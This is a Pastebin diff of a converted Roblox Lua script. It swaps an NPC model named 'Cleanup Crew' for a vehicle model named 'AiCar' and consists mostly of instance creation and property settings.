SHOW:
|
|
- or go back to the newest paste.
| 1 | ||
| 2 | --Converted with ttyyuu12345's model to script plugin v4 | |
| 3 | function sandbox(var,func) | |
| 4 | local env = getfenv(func) | |
| 5 | local newenv = setmetatable({},{
| |
| 6 | __index = function(self,k) | |
| 7 | if k=="script" then | |
| 8 | return var | |
| 9 | else | |
| 10 | return env[k] | |
| 11 | end | |
| 12 | end, | |
| 13 | }) | |
| 14 | setfenv(func,newenv) | |
| 15 | return func | |
| 16 | end | |
| 17 | cors = {}
| |
| 18 | mas = Instance.new("Model",game:GetService("Lighting"))
| |
| 19 | Model0 = Instance.new("Model")
| |
| 20 | - | Part1 = Instance.new("Part")
|
| 20 | + | Model1 = Instance.new("Model")
|
| 21 | - | SpecialMesh2 = Instance.new("SpecialMesh")
|
| 21 | + | Model2 = Instance.new("Model")
|
| 22 | - | Sound3 = Instance.new("Sound")
|
| 22 | + | Part3 = Instance.new("Part")
|
| 23 | - | Sound4 = Instance.new("Sound")
|
| 23 | + | Part4 = Instance.new("Part")
|
| 24 | - | Decal5 = Instance.new("Decal")
|
| 24 | + | Part5 = Instance.new("Part")
|
| 25 | - | Weld6 = Instance.new("Weld")
|
| 25 | + | Part6 = Instance.new("Part")
|
| 26 | - | Weld7 = Instance.new("Weld")
|
| 26 | + | Part7 = Instance.new("Part")
|
| 27 | Part8 = Instance.new("Part")
| |
| 28 | - | Motor6D9 = Instance.new("Motor6D")
|
| 28 | + | BodyGyro9 = Instance.new("BodyGyro")
|
| 29 | - | Motor6D10 = Instance.new("Motor6D")
|
| 29 | + | Script10 = Instance.new("Script")
|
| 30 | - | Motor6D11 = Instance.new("Motor6D")
|
| 30 | + | StringValue11 = Instance.new("StringValue")
|
| 31 | - | Weld12 = Instance.new("Weld")
|
| 31 | + | Script12 = Instance.new("Script")
|
| 32 | - | Weld13 = Instance.new("Weld")
|
| 32 | + | Model13 = Instance.new("Model")
|
| 33 | - | Part14 = Instance.new("Part")
|
| 33 | + | Humanoid14 = Instance.new("Humanoid")
|
| 34 | - | Part15 = Instance.new("Part")
|
| 34 | + | Script15 = Instance.new("Script")
|
| 35 | - | Weld16 = Instance.new("Weld")
|
| 35 | + | Part16 = Instance.new("Part")
|
| 36 | - | Part17 = Instance.new("Part")
|
| 36 | + | IntValue17 = Instance.new("IntValue")
|
| 37 | - | Part18 = Instance.new("Part")
|
| 37 | + | BoolValue18 = Instance.new("BoolValue")
|
| 38 | - | Part19 = Instance.new("Part")
|
| 38 | + | Script19 = Instance.new("Script")
|
| 39 | - | Motor6D20 = Instance.new("Motor6D")
|
| 39 | + | Model20 = Instance.new("Model")
|
| 40 | - | Script21 = Instance.new("Script")
|
| 40 | + | Model21 = Instance.new("Model")
|
| 41 | - | StringValue22 = Instance.new("StringValue")
|
| 41 | + | Part22 = Instance.new("Part")
|
| 42 | - | Animation23 = Instance.new("Animation")
|
| 42 | + | SpecialMesh23 = Instance.new("SpecialMesh")
|
| 43 | - | StringValue24 = Instance.new("StringValue")
|
| 43 | + | Part24 = Instance.new("Part")
|
| 44 | - | Animation25 = Instance.new("Animation")
|
| 44 | + | Part25 = Instance.new("Part")
|
| 45 | - | StringValue26 = Instance.new("StringValue")
|
| 45 | + | Part26 = Instance.new("Part")
|
| 46 | - | Animation27 = Instance.new("Animation")
|
| 46 | + | Part27 = Instance.new("Part")
|
| 47 | - | NumberValue28 = Instance.new("NumberValue")
|
| 47 | + | SpecialMesh28 = Instance.new("SpecialMesh")
|
| 48 | - | Animation29 = Instance.new("Animation")
|
| 48 | + | Part29 = Instance.new("Part")
|
| 49 | - | NumberValue30 = Instance.new("NumberValue")
|
| 49 | + | SpecialMesh30 = Instance.new("SpecialMesh")
|
| 50 | - | StringValue31 = Instance.new("StringValue")
|
| 50 | + | Part31 = Instance.new("Part")
|
| 51 | - | Animation32 = Instance.new("Animation")
|
| 51 | + | Part32 = Instance.new("Part")
|
| 52 | - | StringValue33 = Instance.new("StringValue")
|
| 52 | + | SpecialMesh33 = Instance.new("SpecialMesh")
|
| 53 | - | Animation34 = Instance.new("Animation")
|
| 53 | + | Part34 = Instance.new("Part")
|
| 54 | - | StringValue35 = Instance.new("StringValue")
|
| 54 | + | Part35 = Instance.new("Part")
|
| 55 | - | Animation36 = Instance.new("Animation")
|
| 55 | + | Part36 = Instance.new("Part")
|
| 56 | - | StringValue37 = Instance.new("StringValue")
|
| 56 | + | SpecialMesh37 = Instance.new("SpecialMesh")
|
| 57 | - | Animation38 = Instance.new("Animation")
|
| 57 | + | Part38 = Instance.new("Part")
|
| 58 | - | Script39 = Instance.new("Script")
|
| 58 | + | Part39 = Instance.new("Part")
|
| 59 | - | Shirt40 = Instance.new("Shirt")
|
| 59 | + | SpecialMesh40 = Instance.new("SpecialMesh")
|
| 60 | - | Pants41 = Instance.new("Pants")
|
| 60 | + | Part41 = Instance.new("Part")
|
| 61 | - | Hat42 = Instance.new("Hat")
|
| 61 | + | SpecialMesh42 = Instance.new("SpecialMesh")
|
| 62 | Part43 = Instance.new("Part")
| |
| 63 | SpecialMesh44 = Instance.new("SpecialMesh")
| |
| 64 | Part45 = Instance.new("Part")
| |
| 65 | - | Sound46 = Instance.new("Sound")
|
| 65 | + | Part46 = Instance.new("Part")
|
| 66 | - | Sound47 = Instance.new("Sound")
|
| 66 | + | Part47 = Instance.new("Part")
|
| 67 | - | Part48 = Instance.new("Part")
|
| 67 | + | SpecialMesh48 = Instance.new("SpecialMesh")
|
| 68 | - | SpecialMesh49 = Instance.new("SpecialMesh")
|
| 68 | + | Part49 = Instance.new("Part")
|
| 69 | - | Script50 = Instance.new("Script")
|
| 69 | + | Part50 = Instance.new("Part")
|
| 70 | - | Humanoid51 = Instance.new("Humanoid")
|
| 70 | + | Part51 = Instance.new("Part")
|
| 71 | - | Hat52 = Instance.new("Hat")
|
| 71 | + | Part52 = Instance.new("Part")
|
| 72 | - | Part53 = Instance.new("Part")
|
| 72 | + | SpecialMesh53 = Instance.new("SpecialMesh")
|
| 73 | - | SpecialMesh54 = Instance.new("SpecialMesh")
|
| 73 | + | Part54 = Instance.new("Part")
|
| 74 | - | Model0.Name = "Cleanup Crew" |
| 74 | + | Part55 = Instance.new("Part")
|
| 75 | Part56 = Instance.new("Part")
| |
| 76 | - | Model0.PrimaryPart = Part1 |
| 76 | + | Part57 = Instance.new("Part")
|
| 77 | - | Part1.Name = "Head" |
| 77 | + | Part58 = Instance.new("Part")
|
| 78 | - | Part1.Parent = Model0 |
| 78 | + | Part59 = Instance.new("Part")
|
| 79 | - | Part1.BrickColor = BrickColor.new("Pastel brown")
|
| 79 | + | Part60 = Instance.new("Part")
|
| 80 | - | Part1.Rotation = Vector3.new(0, -90, 0) |
| 80 | + | Part61 = Instance.new("Part")
|
| 81 | - | Part1.FormFactor = Enum.FormFactor.Symmetric |
| 81 | + | Part62 = Instance.new("Part")
|
| 82 | - | Part1.Size = Vector3.new(2, 1, 1) |
| 82 | + | Part63 = Instance.new("Part")
|
| 83 | - | Part1.CFrame = CFrame.new(12.4519968, 4.5, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07) |
| 83 | + | Part64 = Instance.new("Part")
|
| 84 | - | Part1.TopSurface = Enum.SurfaceType.Smooth |
| 84 | + | Part65 = Instance.new("Part")
|
| 85 | - | Part1.Color = Color3.new(1, 0.8, 0.6) |
| 85 | + | SpecialMesh66 = Instance.new("SpecialMesh")
|
| 86 | - | Part1.Position = Vector3.new(12.4519968, 4.5, 63.8128319) |
| 86 | + | Part67 = Instance.new("Part")
|
| 87 | - | Part1.Orientation = Vector3.new(0, -90, 0) |
| 87 | + | Part68 = Instance.new("Part")
|
| 88 | - | Part1.Color = Color3.new(1, 0.8, 0.6) |
| 88 | + | Model69 = Instance.new("Model")
|
| 89 | - | SpecialMesh2.Parent = Part1 |
| 89 | + | Part70 = Instance.new("Part")
|
| 90 | - | SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25) |
| 90 | + | Part71 = Instance.new("Part")
|
| 91 | - | SpecialMesh2.Scale = Vector3.new(1.25, 1.25, 1.25) |
| 91 | + | SpecialMesh72 = Instance.new("SpecialMesh")
|
| 92 | - | Sound3.Name = "Die" |
| 92 | + | Part73 = Instance.new("Part")
|
| 93 | - | Sound3.Parent = Part1 |
| 93 | + | SpecialMesh74 = Instance.new("SpecialMesh")
|
| 94 | - | Sound3.Pitch = 1.1000000238419 |
| 94 | + | Part75 = Instance.new("Part")
|
| 95 | - | Sound3.SoundId = "rbxassetid://657622857" |
| 95 | + | SpecialMesh76 = Instance.new("SpecialMesh")
|
| 96 | - | Sound3.Volume = 1 |
| 96 | + | Part77 = Instance.new("Part")
|
| 97 | - | Sound4.Name = "SeeEnemy" |
| 97 | + | SpecialMesh78 = Instance.new("SpecialMesh")
|
| 98 | - | Sound4.Parent = Part1 |
| 98 | + | Part79 = Instance.new("Part")
|
| 99 | - | Sound4.SoundId = "rbxassetid://657622327" |
| 99 | + | Part80 = Instance.new("Part")
|
| 100 | - | Sound4.Volume = 1 |
| 100 | + | Part81 = Instance.new("Part")
|
| 101 | - | Decal5.Parent = Part1 |
| 101 | + | SpecialMesh82 = Instance.new("SpecialMesh")
|
| 102 | - | Decal5.Texture = "http://www.roblox.com/asset/?id=41675658" |
| 102 | + | Part83 = Instance.new("Part")
|
| 103 | - | Weld6.Name = "HeadWeld" |
| 103 | + | Part84 = Instance.new("Part")
|
| 104 | - | Weld6.Parent = Part1 |
| 104 | + | SpecialMesh85 = Instance.new("SpecialMesh")
|
| 105 | - | Weld6.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) |
| 105 | + | Part86 = Instance.new("Part")
|
| 106 | - | Weld6.C1 = CFrame.new(0, -0.100000001, -0.0700000003, 1, 0, -0, 0, 0.980580688, 0.196116135, 0, -0.196116135, 0.980580688) |
| 106 | + | Part87 = Instance.new("Part")
|
| 107 | - | Weld6.Part0 = Part1 |
| 107 | + | SpecialMesh88 = Instance.new("SpecialMesh")
|
| 108 | - | Weld6.Part1 = Part43 |
| 108 | + | Part89 = Instance.new("Part")
|
| 109 | - | Weld7.Name = "HeadWeld" |
| 109 | + | SpecialMesh90 = Instance.new("SpecialMesh")
|
| 110 | - | Weld7.Parent = Part1 |
| 110 | + | Part91 = Instance.new("Part")
|
| 111 | - | Weld7.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) |
| 111 | + | SpecialMesh92 = Instance.new("SpecialMesh")
|
| 112 | - | Weld7.C1 = CFrame.new(0, -0.100000001, -0.0700000003, 1, 0, 0, 0, 1, 0, 0, 0, 1) |
| 112 | + | Part93 = Instance.new("Part")
|
| 113 | - | Weld7.Part0 = Part1 |
| 113 | + | SpecialMesh94 = Instance.new("SpecialMesh")
|
| 114 | - | Weld7.Part1 = Part53 |
| 114 | + | Model95 = Instance.new("Model")
|
| 115 | - | Part8.Name = "Torso" |
| 115 | + | Part96 = Instance.new("Part")
|
| 116 | - | Part8.Parent = Model0 |
| 116 | + | SpecialMesh97 = Instance.new("SpecialMesh")
|
| 117 | - | Part8.BrickColor = BrickColor.new("Institutional white")
|
| 117 | + | Part98 = Instance.new("Part")
|
| 118 | - | Part8.Rotation = Vector3.new(0, -90, 0) |
| 118 | + | Part99 = Instance.new("Part")
|
| 119 | - | Part8.FormFactor = Enum.FormFactor.Symmetric |
| 119 | + | Part100 = Instance.new("Part")
|
| 120 | - | Part8.Size = Vector3.new(2, 2, 1) |
| 120 | + | SpecialMesh101 = Instance.new("SpecialMesh")
|
| 121 | - | Part8.CFrame = CFrame.new(12.4519968, 2.99999976, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07) |
| 121 | + | Part102 = Instance.new("Part")
|
| 122 | - | Part8.LeftSurface = Enum.SurfaceType.Weld |
| 122 | + | Script103 = Instance.new("Script")
|
| 123 | - | Part8.RightSurface = Enum.SurfaceType.Weld |
| 123 | + | StringValue104 = Instance.new("StringValue")
|
| 124 | - | Part8.Color = Color3.new(0.972549, 0.972549, 0.972549) |
| 124 | + | IntValue105 = Instance.new("IntValue")
|
| 125 | - | Part8.Position = Vector3.new(12.4519968, 2.99999976, 63.8128319) |
| 125 | + | BoolValue106 = Instance.new("BoolValue")
|
| 126 | - | Part8.Orientation = Vector3.new(0, -90, 0) |
| 126 | + | BoolValue107 = Instance.new("BoolValue")
|
| 127 | - | Part8.Color = Color3.new(0.972549, 0.972549, 0.972549) |
| 127 | + | BrickColorValue108 = Instance.new("BrickColorValue")
|
| 128 | - | Motor6D9.Name = "Right Hip" |
| 128 | + | Script109 = Instance.new("Script")
|
| 129 | - | Motor6D9.Parent = Part8 |
| 129 | + | BoolValue110 = Instance.new("BoolValue")
|
| 130 | - | Motor6D9.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) |
| 130 | + | Model111 = Instance.new("Model")
|
| 131 | - | Motor6D9.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0) |
| 131 | + | Part112 = Instance.new("Part")
|
| 132 | - | Motor6D9.Part0 = Part8 |
| 132 | + | Model113 = Instance.new("Model")
|
| 133 | - | Motor6D9.Part1 = Part18 |
| 133 | + | Part114 = Instance.new("Part")
|
| 134 | - | Motor6D9.MaxVelocity = 0.10000000149012 |
| 134 | + | Script115 = Instance.new("Script")
|
| 135 | - | Motor6D10.Name = "Left Hip" |
| 135 | + | BodyGyro116 = Instance.new("BodyGyro")
|
| 136 | - | Motor6D10.Parent = Part8 |
| 136 | + | BodyPosition117 = Instance.new("BodyPosition")
|
| 137 | - | Motor6D10.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) |
| 137 | + | Part118 = Instance.new("Part")
|
| 138 | - | Motor6D10.C1 = CFrame.new(-0.5, 1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) |
| 138 | + | Part119 = Instance.new("Part")
|
| 139 | - | Motor6D10.Part0 = Part8 |
| 139 | + | Model120 = Instance.new("Model")
|
| 140 | - | Motor6D10.Part1 = Part17 |
| 140 | + | Part121 = Instance.new("Part")
|
| 141 | - | Motor6D10.MaxVelocity = 0.10000000149012 |
| 141 | + | Part122 = Instance.new("Part")
|
| 142 | - | Motor6D11.Name = "Neck" |
| 142 | + | Script123 = Instance.new("Script")
|
| 143 | - | Motor6D11.Parent = Part8 |
| 143 | + | Script124 = Instance.new("Script")
|
| 144 | - | Motor6D11.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) |
| 144 | + | IntValue125 = Instance.new("IntValue")
|
| 145 | - | Motor6D11.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) |
| 145 | + | ObjectValue126 = Instance.new("ObjectValue")
|
| 146 | - | Motor6D11.Part0 = Part8 |
| 146 | + | BoolValue127 = Instance.new("BoolValue")
|
| 147 | - | Motor6D11.Part1 = Part1 |
| 147 | + | Script128 = Instance.new("Script")
|
| 148 | - | Motor6D11.MaxVelocity = 0.10000000149012 |
| 148 | + | Model129 = Instance.new("Model")
|
| 149 | - | Weld12.Parent = Part8 |
| 149 | + | Part130 = Instance.new("Part")
|
| 150 | - | Weld12.C1 = CFrame.new(-1.20000005, 0.5, 0.400000006, 0.99619472, 0, -0.087155737, 0.087155737, 1.19248806e-08, 0.99619472, 1.03932174e-09, -1, 1.18795027e-08) |
| 150 | + | SpecialMesh131 = Instance.new("SpecialMesh")
|
| 151 | - | Weld12.Part0 = Part8 |
| 151 | + | Part132 = Instance.new("Part")
|
| 152 | - | Weld12.Part1 = Part15 |
| 152 | + | SpecialMesh133 = Instance.new("SpecialMesh")
|
| 153 | - | Weld13.Parent = Part8 |
| 153 | + | Part134 = Instance.new("Part")
|
| 154 | - | Weld13.C1 = CFrame.new(0.800000012, 0.5, 0.400000006, 0.766044438, 0, 0.642787576, -0.642787576, 1.19248806e-08, 0.766044438, -7.66516539e-09, -1, 9.13498877e-09) |
| 154 | + | SpecialMesh135 = Instance.new("SpecialMesh")
|
| 155 | - | Weld13.Part0 = Part8 |
| 155 | + | Part136 = Instance.new("Part")
|
| 156 | - | Weld13.Part1 = Part14 |
| 156 | + | SpecialMesh137 = Instance.new("SpecialMesh")
|
| 157 | - | Part14.Name = "Left Arm" |
| 157 | + | Part138 = Instance.new("Part")
|
| 158 | - | Part14.Parent = Model0 |
| 158 | + | SpecialMesh139 = Instance.new("SpecialMesh")
|
| 159 | - | Part14.BrickColor = BrickColor.new("Pastel brown")
|
| 159 | + | Part140 = Instance.new("Part")
|
| 160 | - | Part14.Rotation = Vector3.new(90, 0, 130) |
| 160 | + | SpecialMesh141 = Instance.new("SpecialMesh")
|
| 161 | - | Part14.CanCollide = false |
| 161 | + | Part142 = Instance.new("Part")
|
| 162 | - | Part14.FormFactor = Enum.FormFactor.Symmetric |
| 162 | + | SpecialMesh143 = Instance.new("SpecialMesh")
|
| 163 | - | Part14.Size = Vector3.new(1, 2, 1) |
| 163 | + | Part144 = Instance.new("Part")
|
| 164 | - | Part14.CFrame = CFrame.new(13.3492489, 3.39999986, 63.521389, -0.642787993, -0.76604408, -4.27125002e-12, 4.82280882e-12, 1.52944324e-12, -1, 0.76604408, -0.642787993, 2.71169719e-12) |
| 164 | + | Part145 = Instance.new("Part")
|
| 165 | - | Part14.Color = Color3.new(1, 0.8, 0.6) |
| 165 | + | SpecialMesh146 = Instance.new("SpecialMesh")
|
| 166 | - | Part14.Position = Vector3.new(13.3492489, 3.39999986, 63.521389) |
| 166 | + | Model147 = Instance.new("Model")
|
| 167 | - | Part14.Orientation = Vector3.new(90, -130, 0) |
| 167 | + | Part148 = Instance.new("Part")
|
| 168 | - | Part14.Color = Color3.new(1, 0.8, 0.6) |
| 168 | + | Part149 = Instance.new("Part")
|
| 169 | - | Part15.Name = "Right Arm" |
| 169 | + | SpecialMesh150 = Instance.new("SpecialMesh")
|
| 170 | - | Part15.Parent = Model0 |
| 170 | + | Part151 = Instance.new("Part")
|
| 171 | - | Part15.BrickColor = BrickColor.new("Pastel brown")
|
| 171 | + | Part152 = Instance.new("Part")
|
| 172 | - | Part15.Rotation = Vector3.new(90, 0, 85) |
| 172 | + | SpecialMesh153 = Instance.new("SpecialMesh")
|
| 173 | - | Part15.CanCollide = false |
| 173 | + | Part154 = Instance.new("Part")
|
| 174 | - | Part15.FormFactor = Enum.FormFactor.Symmetric |
| 174 | + | SpecialMesh155 = Instance.new("SpecialMesh")
|
| 175 | - | Part15.Size = Vector3.new(1, 2, 1) |
| 175 | + | Part156 = Instance.new("Part")
|
| 176 | - | Part15.CFrame = CFrame.new(13.0546808, 3.39999986, 64.9646912, 0.0871551633, -0.99619478, -2.74879053e-09, 8.4344931e-09, 3.49720697e-09, -1, 0.99619478, 0.0871551633, 8.70719674e-09) |
| 176 | + | SpecialMesh157 = Instance.new("SpecialMesh")
|
| 177 | - | Part15.Color = Color3.new(1, 0.8, 0.6) |
| 177 | + | BoolValue158 = Instance.new("BoolValue")
|
| 178 | - | Part15.Position = Vector3.new(13.0546808, 3.39999986, 64.9646912) |
| 178 | + | BrickColorValue159 = Instance.new("BrickColorValue")
|
| 179 | - | Part15.Orientation = Vector3.new(90, -85, 0) |
| 179 | + | BoolValue160 = Instance.new("BoolValue")
|
| 180 | - | Part15.Color = Color3.new(1, 0.8, 0.6) |
| 180 | + | BoolValue161 = Instance.new("BoolValue")
|
| 181 | - | Weld16.Name = "RightGrip" |
| 181 | + | IntValue162 = Instance.new("IntValue")
|
| 182 | - | Weld16.Parent = Part15 |
| 182 | + | Humanoid163 = Instance.new("Humanoid")
|
| 183 | - | Weld16.C0 = CFrame.new(0, -1, 0, 1, 0, -0, 0, 0, 1, 0, -1, 0) |
| 183 | + | IntValue164 = Instance.new("IntValue")
|
| 184 | - | Weld16.C1 = CFrame.new(0, -0.200000003, 0.200000003, 0, 0, -1, 0, 1, 0, 1, 0, 0) |
| 184 | + | IntValue165 = Instance.new("IntValue")
|
| 185 | - | Weld16.Part0 = Part15 |
| 185 | + | Script166 = Instance.new("Script")
|
| 186 | - | Weld16.Part1 = Part45 |
| 186 | + | Script167 = Instance.new("Script")
|
| 187 | - | Part17.Name = "Left Leg" |
| 187 | + | Model0.Name = "AiCar" |
| 188 | - | Part17.Parent = Model0 |
| 188 | + | |
| 189 | - | Part17.BrickColor = BrickColor.new("Institutional white")
|
| 189 | + | Model1.Name = "Parts" |
| 190 | - | Part17.Rotation = Vector3.new(0, -90, 0) |
| 190 | + | Model1.Parent = Model0 |
| 191 | - | Part17.CanCollide = false |
| 191 | + | Model2.Name = "Wheels" |
| 192 | - | Part17.FormFactor = Enum.FormFactor.Symmetric |
| 192 | + | Model2.Parent = Model1 |
| 193 | - | Part17.Size = Vector3.new(1, 2, 1) |
| 193 | + | Part3.Name = "RLWheel" |
| 194 | - | Part17.CFrame = CFrame.new(12.4519968, 0.999999762, 63.3128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07) |
| 194 | + | Part3.Parent = Model2 |
| 195 | - | Part17.BottomSurface = Enum.SurfaceType.Smooth |
| 195 | + | Part3.BrickColor = BrickColor.new("Black")
|
| 196 | - | Part17.Color = Color3.new(0.972549, 0.972549, 0.972549) |
| 196 | + | Part3.Rotation = Vector3.new(120.599998, 0.939999998, 178.940002) |
| 197 | - | Part17.Position = Vector3.new(12.4519968, 0.999999762, 63.3128319) |
| 197 | + | Part3.RotVelocity = Vector3.new(11.4377346, 2.73806024, 0.202303275) |
| 198 | - | Part17.Orientation = Vector3.new(0, -90, 0) |
| 198 | + | Part3.Velocity = Vector3.new(-0.671034873, -0.109069154, 12.2233582) |
| 199 | - | Part17.Color = Color3.new(0.972549, 0.972549, 0.972549) |
| 199 | + | Part3.FormFactor = Enum.FormFactor.Symmetric |
| 200 | - | Part18.Name = "Right Leg" |
| 200 | + | Part3.Shape = Enum.PartType.Cylinder |
| 201 | - | Part18.Parent = Model0 |
| 201 | + | Part3.Size = Vector3.new(3, 3, 3) |
| 202 | - | Part18.BrickColor = BrickColor.new("Institutional white")
|
| 202 | + | Part3.CFrame = CFrame.new(-40.6017265, 2.09922552, 124.399231, -0.999689043, -0.0184935201, 0.0163928606, -0.0235223789, 0.50862962, -0.860664129, 0.00757821277, -0.860780478, -0.50890553) |
| 203 | - | Part18.Rotation = Vector3.new(0, -90, 0) |
| 203 | + | Part3.BottomSurface = Enum.SurfaceType.Smooth |
| 204 | - | Part18.CanCollide = false |
| 204 | + | Part3.RightSurface = Enum.SurfaceType.Motor |
| 205 | - | Part18.FormFactor = Enum.FormFactor.Symmetric |
| 205 | + | Part3.TopSurface = Enum.SurfaceType.Smooth |
| 206 | - | Part18.Size = Vector3.new(1, 2, 1) |
| 206 | + | Part3.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 207 | - | Part18.CFrame = CFrame.new(12.4519968, 0.999999762, 64.3128357, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07) |
| 207 | + | Part3.Position = Vector3.new(-40.6017265, 2.09922552, 124.399231) |
| 208 | - | Part18.BottomSurface = Enum.SurfaceType.Smooth |
| 208 | + | Part3.Orientation = Vector3.new(59.3899994, 178.159988, -2.64999986) |
| 209 | - | Part18.Color = Color3.new(0.972549, 0.972549, 0.972549) |
| 209 | + | Part3.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 210 | - | Part18.Position = Vector3.new(12.4519968, 0.999999762, 64.3128357) |
| 210 | + | Part4.Name = "FLWheel" |
| 211 | - | Part18.Orientation = Vector3.new(0, -90, 0) |
| 211 | + | Part4.Parent = Model2 |
| 212 | - | Part18.Color = Color3.new(0.972549, 0.972549, 0.972549) |
| 212 | + | Part4.BrickColor = BrickColor.new("Black")
|
| 213 | - | Part19.Name = "HumanoidRootPart" |
| 213 | + | Part4.Rotation = Vector3.new(78.2999954, 1.12, -179.529999) |
| 214 | - | Part19.Parent = Model0 |
| 214 | + | Part4.RotVelocity = Vector3.new(37.8817902, 0.366261661, -0.159311146) |
| 215 | - | Part19.BrickColor = BrickColor.new("Bright blue")
|
| 215 | + | Part4.Velocity = Vector3.new(0.25110507, 0.197964758, 17.8664207) |
| 216 | - | Part19.Transparency = 1 |
| 216 | + | Part4.FormFactor = Enum.FormFactor.Symmetric |
| 217 | - | Part19.Rotation = Vector3.new(0, -90, 0) |
| 217 | + | Part4.Shape = Enum.PartType.Cylinder |
| 218 | - | Part19.FormFactor = Enum.FormFactor.Symmetric |
| 218 | + | Part4.Size = Vector3.new(3, 3, 3) |
| 219 | - | Part19.Size = Vector3.new(2, 2, 1) |
| 219 | + | Part4.CFrame = CFrame.new(-40.5157928, 2.09787703, 135.502441, -0.999769151, 0.00824512914, 0.0195530448, -0.0208184384, -0.202596843, -0.979040921, -0.0041115107, -0.979220271, 0.202721402) |
| 220 | - | Part19.CFrame = CFrame.new(12.4519968, 2.99999976, 63.8128319, -5.73683906e-07, -9.13071307e-09, -1, 7.667877e-09, 1, -9.13071752e-09, 1, -7.66788233e-09, -5.73683906e-07) |
| 220 | + | Part4.BottomSurface = Enum.SurfaceType.Smooth |
| 221 | - | Part19.BottomSurface = Enum.SurfaceType.Smooth |
| 221 | + | Part4.RightSurface = Enum.SurfaceType.Motor |
| 222 | - | Part19.TopSurface = Enum.SurfaceType.Smooth |
| 222 | + | Part4.TopSurface = Enum.SurfaceType.Smooth |
| 223 | - | Part19.Color = Color3.new(0.0509804, 0.411765, 0.67451) |
| 223 | + | Part4.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 224 | - | Part19.Position = Vector3.new(12.4519968, 2.99999976, 63.8128319) |
| 224 | + | Part4.Position = Vector3.new(-40.5157928, 2.09787703, 135.502441) |
| 225 | - | Part19.Orientation = Vector3.new(0, -90, 0) |
| 225 | + | Part4.Orientation = Vector3.new(78.25, 5.50999975, -174.12999) |
| 226 | - | Part19.Color = Color3.new(0.0509804, 0.411765, 0.67451) |
| 226 | + | Part4.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 227 | - | Motor6D20.Name = "RootJoint" |
| 227 | + | Part5.Name = "FRWheel" |
| 228 | - | Motor6D20.Parent = Part19 |
| 228 | + | Part5.Parent = Model2 |
| 229 | - | Motor6D20.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) |
| 229 | + | Part5.BrickColor = BrickColor.new("Black")
|
| 230 | - | Motor6D20.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) |
| 230 | + | Part5.Rotation = Vector3.new(-102.329994, 1.02999997, 0.889999986) |
| 231 | - | Motor6D20.Part0 = Part19 |
| 231 | + | Part5.RotVelocity = Vector3.new(37.6021576, -0.547226965, -0.110472873) |
| 232 | - | Motor6D20.Part1 = Part8 |
| 232 | + | Part5.Velocity = Vector3.new(-0.187616169, -0.317109108, 17.0779247) |
| 233 | - | Motor6D20.MaxVelocity = 0.10000000149012 |
| 233 | + | Part5.FormFactor = Enum.FormFactor.Symmetric |
| 234 | - | Script21.Name = "Animate" |
| 234 | + | Part5.Shape = Enum.PartType.Cylinder |
| 235 | - | Script21.Parent = Model0 |
| 235 | + | Part5.Size = Vector3.new(3, 3, 3) |
| 236 | - | table.insert(cors,sandbox(Script21,function() |
| 236 | + | Part5.CFrame = CFrame.new(-51.5149384, 2.09723473, 135.543533, 0.999709547, -0.0156036913, 0.018060863, -0.020974813, -0.213236988, 0.976775467, -0.0113894492, -0.976868629, -0.213501915) |
| 237 | - | wait(5) |
| 237 | + | Part5.BottomSurface = Enum.SurfaceType.Smooth |
| 238 | - | function waitForChild(parent, childName) |
| 238 | + | Part5.RightSurface = Enum.SurfaceType.Motor |
| 239 | - | local child = parent:findFirstChild(childName) |
| 239 | + | Part5.TopSurface = Enum.SurfaceType.Smooth |
| 240 | - | if child then return child end |
| 240 | + | Part5.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 241 | - | while true do |
| 241 | + | Part5.Position = Vector3.new(-51.5149384, 2.09723473, 135.543533) |
| 242 | - | child = parent.ChildAdded:wait() |
| 242 | + | Part5.Orientation = Vector3.new(-77.6299973, 175.160004, -174.37999) |
| 243 | - | if child.Name==childName then return child end |
| 243 | + | Part5.Color = Color3.new(0.105882, 0.164706, 0.207843) |
| 244 | Part6.Name = "RRWheel" | |
| 245 | Part6.Parent = Model2 | |
| 246 | Part6.BrickColor = BrickColor.new("Black")
| |
| 247 | - | local Figure = script.Parent |
| 247 | + | Part6.Rotation = Vector3.new(-64.75, 1.46999991, 0.0700000003) |
| 248 | - | local Torso = waitForChild(Figure, "Torso") |
| 248 | + | Part6.RotVelocity = Vector3.new(25.0920029, -0.398336321, -0.469362795) |
| 249 | - | local RightHip = waitForChild(Torso, "Right Hip") |
| 249 | + | Part6.Velocity = Vector3.new(-0.69550544, -0.087056458, 16.5394554) |
| 250 | - | local LeftHip = waitForChild(Torso, "Left Hip") |
| 250 | + | Part6.FormFactor = Enum.FormFactor.Symmetric |
| 251 | - | local Neck = waitForChild(Torso, "Neck") |
| 251 | + | Part6.Shape = Enum.PartType.Cylinder |
| 252 | - | local Humanoid = waitForChild(Figure, "Humanoid") |
| 252 | + | Part6.Size = Vector3.new(3, 3, 3) |
| 253 | - | local pose = "Standing" |
